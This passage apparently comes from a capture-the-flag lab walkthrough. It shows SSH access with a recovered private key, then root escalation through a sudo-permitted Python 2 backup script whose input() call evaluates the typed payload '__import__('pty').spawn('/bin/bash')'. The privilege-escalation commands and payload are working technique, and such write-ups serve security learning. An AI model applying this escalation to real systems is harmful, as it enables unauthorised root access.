<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F85x5E5NWe1OJApUi3ddk%2Fgrafik.png?alt=media&amp;token=24ae6b62-9c07-4dac-99e1-70f3c9c2813b" alt=""><figcaption></figcaption></figure>

Next, we change the permission accordingly and get a session as `ravi` using the key via SSH. We find the users flag in the home directory - which we could have already obtained through guessing via the LFI.&#x20;

{% code overflow="wrap" expandable="true" %}

```
chmod 600 id_rsa
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
ssh -i id_rsa ravi@dropfile.hs
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6hZmsm7MW7w2wKTsXYVP%2Fgrafik.png?alt=media&amp;token=e492a067-5b4e-4b66-8904-9744e76a6bc6" alt=""><figcaption></figcaption></figure>

## Shell as root

As `ravi` we are allowed to run `/usr/local/bin/python2.7 /opt/backup` as `root` via `sudo`.

{% code overflow="wrap" expandable="true" %}

```
sudo -l
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FB16Zc904lezx9qVilgFX%2Fgrafik.png?alt=media&amp;token=f6bc7cb5-d713-4eb9-b8ac-00c46e9fb07f" alt=""><figcaption></figcaption></figure>

We'll take a closer look at the script to see if we can exploit it to gain code execution as `root`.

Unfortunately, we can't edit the script; otherwise, it would be very easy for us to just write our code directly into it. But we can read the script. Maybe there's a flaw in the code.

The script creates a compressed `.tar.gz` backup of the `/opt/dropfile.local` directory after asking for confirmation.

The flaw is that it uses `input()` in Python 2, which evaluates the input as Python code instead of reading it as a string.

{% embed url="<https://www.geeksforgeeks.org/python/difference-between-input-and-raw_input-functions-in-python/>" %}

{% code overflow="wrap" expandable="true" %}

```
ls -lah /opt/backup.py
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
cat /opt/backup.py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhFw1yOhNt3QGZDL8h94y%2Fgrafik.png?alt=media&amp;token=3434a2c6-50e2-4e2f-baff-f393af6070e3" alt=""><figcaption></figcaption></figure>

We run the script as root using sudo.

{% code overflow="wrap" expandable="true" %}

```
sudo /usr/local/bin/python2.7 /opt/backup.py
```

{% endcode %}

Instead of confirming the backup we insert our code.

We want to spawn a interactive shell using Python's `pty` module. The following one will fail, but a single-expression payload like `__import__('os').system('/bin/bash')` should succed.

{% code overflow="wrap" expandable="true" %}

```
import pty; pty.spawn("/bin/bash")
```

{% endcode %}

We enter the following payload and get a root session. From there we can access the flag at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
__import__('pty').spawn('/bin/bash')
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXkBsFyYFzZIdxbeB1Bpf%2Fgrafik.png?alt=media&amp;token=5759ed46-666e-4347-9132-a15406d5c4cd" alt=""><figcaption></figcaption></figure>
